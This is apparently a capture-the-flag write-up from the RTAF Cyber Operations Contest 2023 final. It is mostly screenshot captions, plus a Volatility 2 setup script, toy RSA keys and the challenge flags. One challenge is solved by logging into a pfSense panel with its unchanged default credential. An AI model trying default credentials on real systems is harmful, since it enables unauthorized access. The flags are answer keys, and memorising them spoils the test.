ส่วนนี้เป็นบันทึกรอบชิงฉบับเต็มแบบลงภาพทุกขั้นตอนครับ เป็นบันทึกดิบที่ผมจดไว้ตอนแข่ง ละเอียดกว่าส่วนสรุปด้านบน แต่บางหัวข้อยังเขียนไม่จบ ผมคงไว้ตามต้นฉบับและทำเครื่องหมายจุดที่ค้างไว้

This section is the full screenshot-by-screenshot record of the final round, the raw notes I kept during the contest. It is more detailed than the summary above, though a few parts are still unfinished. I have kept it as in the original and marked the gaps.

Environment and scoreboard#

ภาพบรรยากาศการแข่ง สนามจำลอง และสกอร์บอร์ดของรอบชิง

The contest environment, the simulated range, and the final-round scoreboard.

COC2023 final · 1

COC2023 final · 2

COC2023 final · 6

COC2023 final · 7

COC2023 final · 8

COC2023 final · 9

Challenge 1 · Firewall#

เข้าหน้าจัดการ pfSense ด้วย default credential admin / pfsense ที่ไม่เคยถูกเปลี่ยน

Reach the pfSense panel with the unchanged default credential admin / pfsense.

COC2023 final · 11

COC2023 final · 12

Challenge 2 · Memory forensics#

โจทย์สาย memory forensics ใช้ Volatility วิเคราะห์ไฟล์หน่วยความจำ ด้านล่างเป็นขั้นตอนติดตั้ง Volatility 2 ที่ผมใช้

A memory forensics challenge using Volatility to analyse a memory image. Below is the Volatility 2 setup I used.

# Volatility 2 setup
sudo apt install -y build-essential git libdistorm3-dev yara libcapstone-dev capstone-tool
sudo apt install -y python2 python2.7-dev libpython2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python2 get-pip.py
python2 -m pip install -U distorm3 yara pycrypto pillow openpyxl ujson pytz ipython capstone
python2 -m pip install -U git+https://github.com/volatilityfoundation/volatility.git
vol.py -h

COC2023 final · 13

COC2023 final · 14

COC2023 final · 15

COC2023 final · 16

COC2023 final · 17

COC2023 final · 18

COC2023 final · 19

COC2023 final · 20

COC2023 final · 21

Flag · coc2023{_cGVhY2VmdWxfbGFuZA_}

Challenge 3#

ขั้นตอนของข้อนี้อยู่ในภาพด้านล่าง

The steps for this challenge are in the screenshots below.

COC2023 final · 22

COC2023 final · 23

COC2023 final · 24

COC2023 final · 25

COC2023 final · 26

COC2023 final · 27

COC2023 final · 28

COC2023 final · 29

COC2023 final · 30

COC2023 final · 31

COC2023 final · 32

COC2023 final · 33

COC2023 final · 34

COC2023 final · 35

COC2023 final · 36

COC2023 final · 37

COC2023 final · 38

COC2023 final · 39

COC2023 final · 40

COC2023 final · 41

COC2023 final · 42

COC2023 final · 43

COC2023 final · 44

COC2023 final · 45

COC2023 final · 46

Flag · coc2023{YeS_u_foUnD_m3}

Challenge 4#

ขั้นตอนของข้อนี้อยู่ในภาพด้านล่าง

The steps for this challenge are in the screenshots below.

COC2023 final · 47

COC2023 final · 48

COC2023 final · 49

COC2023 final · 50

COC2023 final · 51

COC2023 final · 52

COC2023 final · 53

COC2023 final · 54

Flag · COC2023{F3IZiLL@}

Challenge 5 · RSA#

โจทย์ RSA ที่ให้คู่กุญแจมา · Public = (739, 1513) และ Private = (1227, 1513) นำไปถอดรหัสชุดตัวเลขจนได้ flag

An RSA challenge with the key pair Public = (739, 1513) and Private = (1227, 1513), used to decrypt a set of numbers into the flag.

COC2023 final · 55

COC2023 final · 56

COC2023 final · 57

COC2023 final · 58

COC2023 final · 59

COC2023 final · 60

COC2023 final · 61

Flag · coc2023{cGVhY2UgbG92ZSBoYXBwaW5lc3M=}

Challenge 6#

ขั้นตอนของข้อนี้อยู่ในภาพด้านล่าง

The steps for this challenge are in the screenshots below.

COC2023 final · 62

COC2023 final · 63

COC2023 final · 64

COC2023 final · 65

COC2023 final · 66

COC2023 final · 67

ส่วนนี้ในบันทึกต้นฉบับยังเขียนไม่จบ

This part of the original notes is unfinished.

Challenge 7#

ขั้นตอนของข้อนี้อยู่ในภาพด้านล่าง

The steps for this challenge are in the screenshots below.

COC2023 final · 68

COC2023 final · 69

COC2023 final · 70

COC2023 final · 71

COC2023 final · 72

COC2023 final · 73

COC2023 final · 74

COC2023 final · 75

COC2023 final · 76

COC2023 final · 77

COC2023 final · 78

ส่วนนี้ในบันทึกต้นฉบับยังเขียนไม่จบ

This part of the original notes is unfinished.

Challenge 8#

ข้อนี้ flag เป็น Base64 ที่ต้องแก้ตัวพิมพ์เล็กพิมพ์ใหญ่ให้ถูกก่อนถอดรหัส ถอดออกมาได้คำว่า responsibility

Here the flag is Base64 that needs its upper and lower case corrected before decoding. It decodes to the word responsibility.

COC2023 final · 79

COC2023 final · 80

COC2023 final · 81

COC2023 final · 82

COC2023 final · 83

Flag · coc2023{cmVzcG9uc2liaWxpdHk=}

Challenge 9#

ขั้นตอนของข้อนี้อยู่ในภาพด้านล่าง

The steps for this challenge are in the screenshots below.

COC2023 final · 84

COC2023 final · 85

COC2023 final · 86

COC2023 final · 87

COC2023 final · 88

COC2023 final · 89

COC2023 final · 90

COC2023 final · 91

COC2023 final · 92

COC2023 final · 93

COC2023 final · 94

COC2023 final · 95

COC2023 final · 96

Flag · coc2023{aW1wcmVzc2lvbg}

Challenge 10#

ขั้นตอนของข้อนี้อยู่ในภาพด้านล่าง

The steps for this challenge are in the screenshots below.

COC2023 final · 98

COC2023 final · 99

COC2023 final · 100

COC2023 final · 101

COC2023 final · 102

Flag · coc2023{bikerboy1234567}

Challenge 11#

ขั้นตอนของข้อนี้อยู่ในภาพด้านล่าง

The steps for this challenge are in the screenshots below.

COC2023 final · 103

COC2023 final · 104

COC2023 final · 105

Flag · coc2023{0607127158}

บันทึกรอบชิงฉบับเต็มจบไว้เท่านี้ในต้นฉบับ ส่วนที่เหลือยังเขียนไม่จบ

The full final-round notes end here in the original; the remainder is unfinished.

รายละเอียดงาน · Facebook โพสต์ประกาศผล

Event details · Facebook results announcement

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  ⠀⠀⠀⠀⠀⠀⠀
                   ⢀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀Score : 12
⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣴⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋   ⢀⣀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀  ⣴⣿⣿⣿⣦⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀  ⢿⣿⣿⣿⡟ Ar3mus @ RTAF Cyber Operations Contest 2023
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄   ⠉⠉⠁⠀⠀⠀⠀
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀
⠀⠀  ⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋
⠀⠀⠀  ⠀⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁
⠀⠀   ⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀  ⠀⠀⠉⠙⠛⠛⠻⠿⠿⠟⠛⠛⠋⠉⠀⠀⠀⠀⠀
RTAF Cyber Operations Contest 2023
https://ar3mus.pages.dev/posts/competition/12/
Author
Ar3mus
Published at
2023-04-26
Thriller (Chiptune Lofi)
Lian Fort · Moonwalker & Chill
SOURCE ON SPOTIFY